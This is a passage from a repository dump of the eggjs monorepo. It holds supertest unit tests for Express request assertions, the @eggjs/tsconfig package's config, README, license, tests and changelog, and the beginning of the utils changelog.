});\n\n  describe('handling multiple assertions per field', () => {\n    it('should work', async () => {\n      const app = express();\n      app.get('/', (_req, res) => {\n        res.send('hey');\n      });\n\n      await request(app).get('/').expect('Content-Type', /text/).expect('Content-Type', /html/);\n    });\n\n    it('should return an error if the first one fails', async () => {\n      const app = express();\n      app.get('/', (_req, res) => {\n        res.send('hey');\n      });\n\n      await expect(async () => {\n        await request(app).get('/').expect('Content-Type', /bloop/).expect('Content-Type', /html/);\n      }).rejects.toThrow('expected \"Content-Type\" matching /bloop/, got \"text/html; charset=utf-8\"');\n    });\n\n    it('should return an error if a middle one fails', async () => {\n      const app = express();\n      app.get('/', (_req, res) => {\n        res.send('hey');\n      });\n\n      await expect(async () => {\n        await request(app)\n          .get('/')\n          .expect('Content-Type', /text/)\n          .expect('Content-Type', /bloop/)\n          .expect('Content-Type', /html/);\n      }).rejects.toThrow('expected \"Content-Type\" matching /bloop/, got \"text/html; charset=utf-8\"');\n    });\n\n    it('should return an error if the last one fails', async () => {\n      const app = express();\n      app.get('/', (_req, res) => {\n        res.send('hey');\n      });\n\n      await expect(async () => {\n        await request(app)\n          .get('/')\n          .expect('Content-Type', /text/)\n          .expect('Content-Type', /html/)\n          .expect('Content-Type', /bloop/);\n      }).rejects.toThrow('expected \"Content-Type\" matching /bloop/, got \"text/html; charset=utf-8\"');\n    });\n  });\n});\n\ndescribe('request.agent(app)', () => {\n  const app = express();\n  const agent = request.agent(app).set('header', 'hey');\n\n  app.use(cookieParser());\n\n  app.get('/', (_req, res) => {\n    res.cookie('cookie', 'hey');\n    res.send();\n  });\n\n  app.trace('/', (_req, res) => {\n    res.cookie('cookie', 'hey');\n    res.send('trace method');\n  });\n\n  app.get('/return_cookies', (req, res) => {\n    if (req.cookies.cookie) res.send(req.cookies.cookie);\n    else res.send(':(');\n  });\n\n  app.get('/return_headers', (req, res) => {\n    if (req.get('header')) res.send(req.get('header'));\n    else res.send(':(');\n  });\n\n  it('should save cookies', async () => {\n    await agent.get('/').expect('set-cookie', 'cookie=hey; Path=/');\n  });\n\n  it('should send cookies', async () => {\n    await agent.get('/return_cookies').expect('hey');\n  });\n\n  it('should send global agent headers', async () => {\n    await agent.get('/return_headers').expect('hey');\n  });\n\n  it('should trace method work', async () => {\n    await agent.trace('/').expect('trace method');\n  });\n});\n\ndescribe('agent.host(host)', () => {\n  it('should set request hostname', async () => {\n    const app = express();\n    const agent = request.agent(app);\n\n    app.get('/', (req, res) => {\n      res.send({ hostname: req.hostname });\n    });\n\n    const res = await agent.host('something.test').get('/');\n\n    expect(res.body.hostname).toBe('something.test');\n  });\n});\n\ndescribe('.<http verb> works as expected', () => {\n  it('.delete should work', async () => {\n    const app = express();\n    app.delete('/', (_req, res) => {\n      res.sendStatus(200);\n    });\n\n    await request(app).delete('/').expect(200);\n  });\n  it('.del should work', async () => {\n    const app = express();\n    app.delete('/', (_req, res) => {\n      res.sendStatus(200);\n    });\n\n    await request(app).del('/').expect(200);\n  });\n  it('.get should work', async () => {\n    const app = express();\n    app.get('/', (_req, res) => {\n      res.sendStatus(200);\n    });\n\n    await request(app).get('/').expect(200);\n  });\n  it('.post should work', async () => {\n    const app = express();\n    app.post('/', (_req, res) => {\n      res.sendStatus(200);\n    });\n\n    await request(app).post('/').expect(200);\n  });\n  it('.put should work', async () => {\n    const app = express();\n    app.put('/', (_req, res) => {\n      res.sendStatus(200);\n    });\n\n    await request(app).put('/').expect(200);\n  });\n  it('.head should work', async () => {\n    const app = express();\n    app.head('/', (_req, res) => {\n      res.statusCode = 200;\n      res.set('Content-Encoding', 'gzip');\n      res.set('Content-Length', '1024');\n      res.status(200);\n      res.end();\n    });\n\n    const res = await request(app).head('/').set('accept-encoding', 'gzip, deflate');\n\n    expect(res).toHaveProperty('statusCode', 200);\n    expect(res.headers).toHaveProperty('content-length', '1024');\n  });\n});\n\ndescribe('assert ordering by call order', () => {\n  it('should assert the body before status', async () => {\n    const app = express();\n\n    app.set('json spaces', 0);\n\n    app.get('/', (_req, res) => {\n      res.status(500).json({ message: 'something went wrong' });\n    });\n\n    request(app)\n      .get('/')\n      .expect('hey')\n      .expect(200)\n      .end((err) => {\n        assert(err instanceof Error);\n        expect(err.message).toBe(\"expected 'hey' response body, \" + 'got \\'{\"message\":\"something went wrong\"}\\'');\n        shouldIncludeStackWithThisFile(err);\n      });\n  });\n\n  it('should assert the status before body', async () => {\n    const app = express();\n\n    app.set('json spaces', 0);\n\n    app.get('/', (_req, res) => {\n      res.status(500).json({ message: 'something went wrong' });\n    });\n\n    request(app)\n      .get('/')\n      .expect(200)\n      .expect('hey')\n      .end((err) => {\n        assert(err instanceof Error);\n        expect(err.message).toBe('expected 200 \"OK\", got 500 \"Internal Server Error\"');\n        shouldIncludeStackWithThisFile(err);\n      });\n  });\n\n  it('should assert the fields before body and status', async () => {\n    const app = express();\n\n    app.set('json spaces', 0);\n\n    app.get('/', (_req, res) => {\n      res.status(200).json({ hello: 'world' });\n    });\n\n    request(app)\n      .get('/')\n      .expect('content-type', /html/)\n      .expect('hello')\n      .end((err) => {\n        assert(err instanceof Error);\n        expect(err.message).toBe('expected \"content-type\" matching /html/, ' + 'got \"application/json; charset=utf-8\"');\n        shouldIncludeStackWithThisFile(err);\n      });\n  });\n\n  it('should call the expect function in order', async () => {\n    const app = express();\n\n    app.get('/', (_req, res) => {\n      res.status(200).json({});\n    });\n\n    request(app)\n      .get('/')\n      .expect((res) => {\n        res.body.first = 1;\n      })\n      .expect((res) => {\n        expect(res.body.first === 1).toBe(true);\n        res.body.second = 2;\n      })\n      .end((err, res) => {\n        if (err) throw err;\n        expect(res.body.first === 1).toBe(true);\n        expect(res.body.second === 2).toBe(true);\n      });\n  });\n\n  it('should call expect(fn) and expect(status, fn) in order', async () => {\n    const app = express();\n\n    app.get('/', (_req, res) => {\n      res.status(200).json({});\n    });\n\n    request(app)\n      .get('/')\n      .expect((res) => {\n        res.body.first = 1;\n      })\n      .expect(200, (err, res) => {\n        expect(err === null).toBe(true);\n        expect(res.body.first === 1).toBe(true);\n      });\n  });\n\n  it('should call expect(fn) and expect(header,value) in order', async () => {\n    const app = express();\n\n    app.get('/', (_req, res) => {\n      res.set('X-Some-Header', 'Some value').send();\n    });\n\n    request(app)\n      .get('/')\n      .expect('X-Some-Header', 'Some value')\n      .expect((res) => {\n        res.headers['x-some-header'] = '';\n      })\n      .expect('X-Some-Header', '');\n  });\n\n  it('should call expect(fn) and expect(body) in order', async () => {\n    const app = express();\n\n    app.get('/', (_req, res) => {\n      res.json({ somebody: 'some body value' });\n    });\n\n    request(app)\n      .get('/')\n      .expect(/some body value/)\n      .expect((res) => {\n        res.body.somebody = 'nobody';\n      })\n      .expect(/some body value/) // res.text should not be modified.\n      .expect({ somebody: 'nobody' })\n      .expect((res) => {\n        res.text = 'gone';\n      })\n      .expect('gone')\n      .expect(/gone/)\n      .expect({ somebody: 'nobody' }) // res.body should not be modified\n      .expect('gone');\n  });\n});\n\ndescribe('request.get(url).query(vals) works as expected', function () {\n  it('normal single query string value works', async () => {\n    const app = express();\n    app.get('/', (req, res) => {\n      res.status(200).send(req.query.val);\n    });\n\n    request(app)\n      .get('/')\n      .query({ val: 'Test1' })\n      .expect(200, (err, res) => {\n        assert.equal(err, null);\n        expect(res.text).toBe('Test1');\n      });\n  });\n\n  it('array query string value works', async () => {\n    const app = express();\n    app.get('/', (req, res) => {\n      res.status(200).send(Array.isArray(req.query.val));\n    });\n\n    request(app)\n      .get('/')\n      .query({ 'val[]': ['Test1', 'Test2'] })\n      .expect(200, (err, res: any) => {\n        assert.equal(err, null);\n        expect(res.req.path).toBe('/?val%5B%5D=Test1&val%5B%5D=Test2');\n        expect(res.text).toBe('true');\n      });\n  });\n\n  it('array query string value work even with single value', async () => {\n    const app = express();\n    app.get('/', (req, res) => {\n      res.status(200).send(Array.isArray(req.query.val));\n    });\n\n    request(app)\n      .get('/')\n      .query({ 'val[]': ['Test1'] })\n      .expect(200, (err, res: any) => {\n        assert.equal(err, null);\n        expect(res.req.path).toBe('/?val%5B%5D=Test1');\n        expect(res.text).toBe('true');\n      });\n  });\n\n  it('object query string value works', async () => {\n    const app = express();\n    app.get('/', (req: any, res) => {\n      res.status(200).send(req.query.val.test);\n    });\n\n    request(app)\n      .get('/')\n      .query({ val: { test: 'Test1' } })\n      .expect(200, (err, res) => {\n        assert.equal(err, null);\n        expect(res.text).toBe('Test1');\n      });\n  });\n\n  // it.skip('handles unknown errors (err without res)', async () => {\n  //   const app = express();\n\n  //   nock.disableNetConnect();\n\n  //   app.get('/', function (_req, res) {\n  //     res.status(200).send('OK');\n  //   });\n\n  //   request(app)\n  //     .get('/')\n  //     // This expect should never get called, but exposes this issue with other\n  //     // errors being obscured by the response assertions\n  //     // https://github.com/ladjs/supertest/issues/352\n  //     .expect(200)\n  //     .end(function (err, res) {\n  //       expect(err).toBeDefined();\n  //       expect(res).toBeUndefined();\n  //       expect(err! instanceof Error).toBe(true);\n  //       expect(err!.message).toMatch(/Nock: Disallowed net connect/);\n  //       shouldIncludeStackWithThisFile(err!);\n  //     });\n\n  //   nock.restore();\n  // });\n\n  // this scenario should never happen\n  // there shouldn't be any res if there is an err\n  // meant for test coverage for lib/test.js#169\n  // https://github.com/ladjs/supertest/blob/5543d674cf9aa4547927ba6010d31d9474950dec/lib/test.js#L169\n  it('handles unknown errors (err with res)', async () => {\n    const app = express();\n\n    app.get('/', (_req, res) => {\n      res.status(200).send('OK');\n    });\n\n    const resError = new Error();\n    (resError as any).status = 400;\n\n    const serverRes = { status: 200 };\n\n    await request(app)\n      .get('/')\n      // private api\n      .assert(resError, serverRes as any, function (this: Test, err, res) {\n        expect(err).toBeDefined();\n        expect(res).toBeDefined();\n        expect(err!).toBe(resError);\n        expect(res).toBe(serverRes);\n        // close the server explicitly (as we are not using expect/end/then)\n        // @ts-expect-error\n        this.end();\n      });\n  });\n\n  it('should assert using promises', async () => {\n    const app = express();\n\n    app.get('/', (_req, res) => {\n      res.status(400).send({ promise: true });\n    });\n\n    request(app)\n      .get('/')\n      .expect(400)\n      .then((res) => {\n        expect(res.body.promise).toBe(true);\n      });\n  });\n});\n"
  },
  {
    "path": "packages/supertest/test/throwError.ts",
    "content": "/**\n * This method needs to reside in its own module in order to properly test stack trace handling.\n */\nexport function throwError(message: string): () => never {\n  return function (): never {\n    throw new Error(message);\n  };\n}\n"
  },
  {
    "path": "packages/supertest/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "packages/supertest/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n  unused: {\n    ignore: ['@types/superagent'],\n  },\n});\n"
  },
  {
    "path": "packages/tsconfig/.gitignore",
    "content": "# Logs\nlogs\n*.log\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\nlerna-debug.log*\n\n# Diagnostic reports (https://nodejs.org/api/report.html)\nreport.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json\n\n# Runtime data\npids\n*.pid\n*.seed\n*.pid.lock\n\n# Directory for instrumented libs generated by jscoverage/JSCover\nlib-cov\n\n# Coverage directory used by tools like istanbul\ncoverage\n*.lcov\n\n# nyc test coverage\n.nyc_output\n\n# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)\n.grunt\n\n# Bower dependency directory (https://bower.io/)\nbower_components\n\n# node-waf configuration\n.lock-wscript\n\n# Compiled binary addons (https://nodejs.org/api/addons.html)\nbuild/Release\n\n# Dependency directories\nnode_modules/\njspm_packages/\n\n# TypeScript v1 declaration files\ntypings/\n\n# TypeScript cache\n*.tsbuildinfo\n\n# Optional npm cache directory\n.npm\n\n# Optional eslint cache\n.eslintcache\n\n# Microbundle cache\n.rpt2_cache/\n.rts2_cache_cjs/\n.rts2_cache_es/\n.rts2_cache_umd/\n\n# Optional REPL history\n.node_repl_history\n\n# Output of 'npm pack'\n*.tgz\n\n# Yarn Integrity file\n.yarn-integrity\n\n# dotenv environment variables file\n.env\n.env.test\n\n# parcel-bundler cache (https://parceljs.org/)\n.cache\n\n# Next.js build output\n.next\n\n# Nuxt.js build / generate output\n.nuxt\ndist\n\n# Gatsby files\n.cache/\n# Comment in the public line in if your project uses Gatsby and *not* Next.js\n# https://nextjs.org/blog/next-9-1#public-directory-support\n# public\n\n# vuepress build output\n.vuepress/dist\n\n# Serverless directories\n.serverless/\n\n# FuseBox cache\n.fusebox/\n\n# DynamoDB Local files\n.dynamodb/\n\n# TernJS port file\n.tern-port\n\n.idea\n\n!test/fixtures/apps/*/node_modules\ntest/fixtures/apps/*/dist\n"
  },
  {
    "path": "packages/tsconfig/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 3.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n## [3.0.0](https://github.com/eggjs/tsconfig/compare/v2.0.0...v3.0.0) (2025-07-30)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.17.1 support\n\n<!-- This is an auto-generated comment: release notes by coderabbit.ai\n-->\n## Summary by CodeRabbit\n\n* **Chores**\n* Updated Node.js version requirements and CI workflow to support\nNode.js 22 and 24.\n* Improved test scripts by switching to the native Node.js test runner\nand simplifying CI commands.\n  * Updated development dependencies and set the package type to module.\n* Upgraded TypeScript configuration to target ES2024 and added new\nmodule-related compiler options.\n* Refactored test files to use the Node.js test module instead of Mocha.\n* Modularized a class decorator by moving it to an external file for\nbetter code organization.\n<!-- end of auto-generated comment: release notes by coderabbit.ai -->\n\n### Features\n\n* esm only ([#11](https://github.com/eggjs/tsconfig/issues/11)) ([52c8817](https://github.com/eggjs/tsconfig/commit/52c88179dbb823be37ee7edbd68fb7be0fd18ceb))\n\n## [2.0.0](https://github.com/eggjs/tsconfig/compare/v1.3.3...v2.0.0) (2025-03-11)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 18.19.0 support\n\n\n<!-- This is an auto-generated comment: release notes by coderabbit.ai\n-->\n## Summary by CodeRabbit\n\n- **Documentation**\n- Extended changelog entries to include details for versions 1.1.0 and\n1.0.0.\n  - Removed outdated pull request template from documentation.\n\n- **Chores**\n- Updated dependency and Node.js requirements for enhanced compatibility\nwith modern ECMAScript standards.\n  - Refined CI workflow configurations and removed obsolete files.\n  - Updated licensing details to reflect ongoing contributions.\n  - Removed NPM quality badge from the README.\n<!-- end of auto-generated comment: release notes by coderabbit.ai -->\n\n### Features\n\n* set default target to ES2022 and moduleResolution to NodeNext ([#10](https://github.com/eggjs/tsconfig/issues/10)) ([bcdd2aa](https://github.com/eggjs/tsconfig/commit/bcdd2aa0e2acd4f1844446d73c21ae5babae79b0))\n\n## [1.3.3](https://github.com/eggjs/tsconfig/compare/v1.3.2...v1.3.3) (2023-04-16)\n\n\n### Bug Fixes\n\n* remove charset option ([#9](https://github.com/eggjs/tsconfig/issues/9)) ([c013898](https://github.com/eggjs/tsconfig/commit/c01389848ffcdd1655162c8ab79d570eb47454c2))\n\n## [1.3.2](https://github.com/eggjs/tsconfig/compare/v1.3.1...v1.3.2) (2023-02-13)\n\n\n### Bug Fixes\n\n* disable incremental and reset target to ES2020 ([#8](https://github.com/eggjs/tsconfig/issues/8)) ([e2915d1](https://github.com/eggjs/tsconfig/commit/e2915d1e36ce7f46e85e93a0f02d0c89c24e3437))\n\n## [1.3.1](https://github.com/eggjs/tsconfig/compare/v1.3.0...v1.3.1) (2023-02-13)\n\n\n### Bug Fixes\n\n* revert target to ES2019 ([#7](https://github.com/eggjs/tsconfig/issues/7)) ([c349fc6](https://github.com/eggjs/tsconfig/commit/c349fc6cc21e81471562187b8acbf296f25d6955))\n\n## [1.3.0](https://github.com/eggjs/tsconfig/compare/v1.2.0...v1.3.0) (2023-02-11)\n\n\n### Features\n\n* enable emitDecoratorMetadata by default ([#6](https://github.com/eggjs/tsconfig/issues/6)) ([28c8446](https://github.com/eggjs/tsconfig/commit/28c8446678e29ccb7df0c3fd1e2964a05223c6cd))\n\n## [1.2.0](https://github.com/eggjs/tsconfig/compare/v1.1.0...v1.2.0) (2022-12-17)\n\n\n### Features\n\n* default enable incremental ([#4](https://github.com/eggjs/tsconfig/issues/4)) ([e38424f](https://github.com/eggjs/tsconfig/commit/e38424f141095db94dcb1761cb5c364de98e00ee))\n* set compilerOptions target to es2020 ([#5](https://github.com/eggjs/tsconfig/issues/5)) ([dc4ca89](https://github.com/eggjs/tsconfig/commit/dc4ca89153ce8e149f60b0ac2a53bb0ebd6eba37))\n\n---\n\n\n1.1.0 / 2022-06-20\n==================\n\n**others**\n  * [[`9722eb2`](http://github.com/eggjs/tsconfig/commit/9722eb25e2f67fa1b87eff226507e241583c418d)] - 📦 NEW: Enable useUnknownInCatchVariables (#2) (fengmk2 <<fengmk2@gmail.com>>)\n\n1.0.0 / 2020-07-30\n==================\n\n**others**\n  * [[`05c0e95`](http://github.com/eggjs/tsconfig/commit/05c0e954eea00398ed63d6449febbc86051c7fb5)] - first impl (#1) (killa <<killa123@126.com>>),fatal: No names found, cannot describe anything.\n"
  },
  {
    "path": "packages/tsconfig/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2020-present eggjs and the contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "packages/tsconfig/README.md",
    "content": "# @eggjs/tsconfig\n\n[![NPM version][npm-image]][npm-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/tsconfig.svg?style=flat)](https://nodejs.org/en/download/)\n[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](https://makeapullrequest.com)\n![CodeRabbit Pull Request Reviews](https://img.shields.io/coderabbit/prs/github/eggjs/egg)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/tsconfig.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/tsconfig\n[download-image]: https://img.shields.io/npm/dm/@eggjs/tsconfig.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/tsconfig\n\nBase tsconfig file for egg project\n\n## Install\n\n```shell\nnpm i --save-dev @eggjs/tsconfig\n```\n\n## Usage\n\n```json\n// tsconfig.json\n{\n  \"extends\": \"@eggjs/tsconfig\",\n  // custom config\n  \"compilerOptions\": {\n    // override @eggjs/tsconfig options here\n  }\n}\n```\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "packages/tsconfig/package.json",
    "content": "{\n  \"name\": \"@eggjs/tsconfig\",\n  \"version\": \"3.1.2-beta.5\",\n  \"description\": \"Base tsconfig for egg ts project\",\n  \"keywords\": [\n    \"egg\",\n    \"tsconfig\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/packages/tsconfig\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"killagu <killa123@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"packages/tsconfig\"\n  },\n  \"files\": [\n    \"tsconfig.json\"\n  ],\n  \"type\": \"module\",\n  \"publishConfig\": {\n    \"access\": \"public\"\n  },\n  \"devDependencies\": {\n    \"coffee\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "packages/tsconfig/test/fixtures/apps/ts-proj/Foo.ts",
    "content": "import FooDecorator from './FooDecorator.ts';\n\n@FooDecorator()\nexport class Foo {\n  demoError() {\n    try {\n    } catch (err) {\n      if (err instanceof TypeError) {\n        console.log('type error');\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "packages/tsconfig/test/fixtures/apps/ts-proj/FooDecorator.ts",
    "content": "export default function FooDecorator() {\n  return function (target: any) {\n    console.log('decorator to class: ', target);\n  };\n}\n"
  },
  {
    "path": "packages/tsconfig/test/fixtures/apps/ts-proj/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\",\n  \"compilerOptions\": {\n    \"outDir\": \"dist\"\n  }\n}\n"
  },
  {
    "path": "packages/tsconfig/test/index.test.ts",
    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\n\nimport coffee from 'coffee';\nimport { test, expect } from 'vitest';\n\ntest('should tsc build work', async () => {\n  const tsc = path.join(import.meta.dirname, '..', 'node_modules', 'typescript', 'bin', 'tsc');\n  const fixturePath = path.join(import.meta.dirname, 'fixtures/apps/ts-proj');\n  const tsconfigPath = path.join(fixturePath, 'tsconfig.json');\n  console.log('%s -p %s, cwd: %s', tsc, tsconfigPath, fixturePath);\n\n  await coffee\n    .fork(tsc, ['-p', tsconfigPath], {\n      cwd: fixturePath,\n    })\n    .debug()\n    .expect('code', 0)\n    .end();\n\n  const distStat = await fs.stat(path.join(fixturePath, 'dist'));\n  expect(distStat).toBeDefined();\n  expect(distStat.isDirectory()).toBe(true);\n});\n"
  },
  {
    "path": "packages/tsconfig/tsconfig.json",
    "content": "{\n  \"compileOnSave\": true,\n  \"compilerOptions\": {\n    \"strict\": true,\n    \"noImplicitAny\": true,\n    // https://node.green/#ES2024\n    \"target\": \"ES2024\",\n    \"module\": \"NodeNext\",\n    \"moduleResolution\": \"NodeNext\",\n    // Emit '__importStar' and '__importDefault' helpers for runtime babel ecosystem compatibility\n    // and enable '--allowSyntheticDefaultImports' for typesystem compatibility.\n    // Convenient for import assert from 'assert'\n    \"esModuleInterop\": true,\n    // Allow javascript files to be compiled.\n    // Egg compile to in place, will throw can not overwrite js file\n    \"allowJs\": false,\n    \"pretty\": true,\n    \"noEmitOnError\": true,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"allowUnreachableCode\": false,\n    \"allowUnusedLabels\": false,\n    // Ensure non-undefined class properties are initialized in the constructor.\n    // When use DI, properties will be implicitly init\n    \"strictPropertyInitialization\": false,\n    \"noFallthroughCasesInSwitch\": true,\n    \"skipLibCheck\": true,\n    \"skipDefaultLibCheck\": true,\n    \"inlineSourceMap\": true,\n    \"declaration\": true,\n    \"resolveJsonModule\": true,\n    // Enables experimental support for ES7 decorators.\n    \"experimentalDecorators\": true,\n    \"emitDecoratorMetadata\": true,\n    \"useUnknownInCatchVariables\": true,\n    \"incremental\": false,\n    // https://nodejs.org/en/learn/typescript/publishing-a-ts-package#treat-types-like-a-test\n    \"erasableSyntaxOnly\": true,\n    // only for lib, not good for app\n    \"verbatimModuleSyntax\": false,\n    \"rewriteRelativeImportExtensions\": true,\n    \"allowImportingTsExtensions\": true,\n    // https://www.typescriptlang.org/docs/handbook/release-notes/typescript-5-5.html#isolated-declarations\n    \"isolatedDeclarations\": false\n  }\n}\n"
  },
  {
    "path": "packages/tsconfig/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  // export nothing\n  entry: [],\n});\n"
  },
  {
    "path": "packages/utils/.gitignore",
    "content": "*.seed\n*.log\n*.csv\n*.dat\n*.out\n*.pid\n*.gz\n\ncoverage/\n\n/node_modules/\n!test/fixtures/**/node_modules/\n\ndump.rdb\n.DS_Store\ntest/fixtures/**/*.yml\n.nyc_output/\ntest/fixtures/tmp/\nlib/\n.tshy*\ndist/\npackage-lock.json\n.package-lock.json"
  },
  {
    "path": "packages/utils/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 5.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n## [4.4.1](https://github.com/eggjs/utils/compare/v4.4.0...v4.4.1) (2025-03-05)\n\n### Bug Fixes\n\n- export getLoader ([#44](https://github.com/eggjs/utils/issues/44)) ([94f7dfe](https://github.com/eggjs/utils/commit/94f7dfe5b600e4ccf2906f7a8f6eaed77c1b1b97))\n\n## [4.4.0](https://github.com/eggjs/utils/compare/v4.3.0...v4.4.0) (2025-03-04)\n\n### Features\n\n- enable ts support by process.env.EGG_TS_ENABLE = true ([#43](https://github.com/eggjs/utils/issues/43)) ([4908ffc](https://github.com/eggjs/utils/commit/4908ffc834add8011ff9b1d91f75e31751975b80))\n\n## [4.3.0](https://github.com/eggjs/utils/compare/v4.2.5...v4.3.0) (2025-02-21)\n\n### Features\n\n- detect typescript enable on env.VITEST === 'true' ([#42](https://github.com/eggjs/utils/issues/42)) ([12af5f9](https://github.com/eggjs/utils/commit/12af5f99918fa090a558bd6e538ff461dfc91a53))\n\n## [4.2.5](https://github.com/eggjs/utils/compare/v4.2.4...v4.2.5) (2025-01-08)\n\n### Bug Fixes\n\n- compatible with old version egg-core package name ([#38](https://github.com/eggjs/utils/issues/38)) ([c8b5dcc](https://github.com/eggjs/utils/commit/c8b5dcc28a2168da742f40439ef53a15723acb68))\n\n## [4.2.4](https://github.com/eggjs/utils/compare/v4.2.3...v4.2.4) (2025-01-03)\n\n### Bug Fixes\n\n- export isSupportTypeScript ([#37](https://github.com/eggjs/utils/issues/37)) ([80d8eb1](https://github.com/eggjs/utils/commit/80d8eb1c398a158438fa4705ef7a75ddf0ad05d6))\n\n## [4.2.3](https://github.com/eggjs/utils/compare/v4.2.2...v4.2.3) (2025-01-03)\n\n### Bug Fixes\n\n- support resolve from scoped package parent node_modules ([#36](https://github.com/eggjs/utils/issues/36)) ([7c9cc42](https://github.com/eggjs/utils/commit/7c9cc42b0398ea961eae2a2bfe12829317e1714d))\n\n## [4.2.2](https://github.com/eggjs/utils/compare/v4.2.1...v4.2.2) (2024-12-30)\n\n### Bug Fixes\n\n- import resolve find in paths's node_modules ([#35](https://github.com/eggjs/utils/issues/35)) ([bd772af](https://github.com/eggjs/utils/commit/bd772afbf585283a8ecef1ea6cfcba668a98c511))\n\n## [4.2.1](https://github.com/eggjs/utils/compare/v4.2.0...v4.2.1) (2024-12-30)\n\n### Bug Fixes\n\n- import resolve support relative path ([#34](https://github.com/eggjs/utils/issues/34)) ([42afd2a](https://github.com/eggjs/utils/commit/42afd2a37367515c0f6ade4bf8cef6132632f755))\n\n## [4.2.0](https://github.com/eggjs/utils/compare/v4.1.6...v4.2.0) (2024-12-29)\n\n### Features\n\n- detect the type of egg project ([#33](https://github.com/eggjs/utils/issues/33)) ([68950de](https://github.com/eggjs/utils/commit/68950deec7e0f97be7cf8509a025ef218799e6cf))\n\n## [4.1.6](https://github.com/eggjs/utils/compare/v4.1.5...v4.1.6) (2024-12-28)\n\n### Bug Fixes\n\n- try to use index.\\* when package.json not exists ([#32](https://github.com/eggjs/utils/issues/32)) ([b4b2e0c](https://github.com/eggjs/utils/commit/b4b2e0c47abf8367680753d5243cb7df41259e66))\n\n## [4.1.5](https://github.com/eggjs/utils/compare/v4.1.4...v4.1.5) (2024-12-27)\n\n### Bug Fixes\n\n- use importResolve to get framework path ([#31](https://github.com/eggjs/utils/issues/31)) ([7caad4d](https://github.com/eggjs/utils/commit/7caad4dfb19fba1f1f3d18892b1e44d696699fb6))\n\n## [4.1.4](https://github.com/eggjs/utils/compare/v4.1.3...v4.1.4) (2024-12-25)\n\n### Bug Fixes\n\n- try resolve by file no matter dir exists or not ([#30](https://github.com/eggjs/utils/issues/30)) ([4605e3a](https://github.com/eggjs/utils/commit/4605e3a1805ffc7ac87d0a6fb1264f83f05e6539))\n\n## [4.1.3](https://github.com/eggjs/utils/compare/v4.1.2...v4.1.3) (2024-12-24)\n\n### Bug Fixes\n\n- debug dont print full import object ([#29](https://github.com/eggjs/utils/issues/29)) ([daa5edf](https://github.com/eggjs/utils/commit/daa5edf248331e9fdfe309d3bb2bba150fdf3f3b))\n\n## [4.1.2](https://github.com/eggjs/utils/compare/v4.1.1...v4.1.2) (2024-12-24)\n\n### Bug Fixes\n\n- should try to use esm module first ([#28](https://github.com/eggjs/utils/issues/28)) ([88b08cf](https://github.com/eggjs/utils/commit/88b08cff7da0a883fbda8d627acef538f61ba2ef))\n\n## 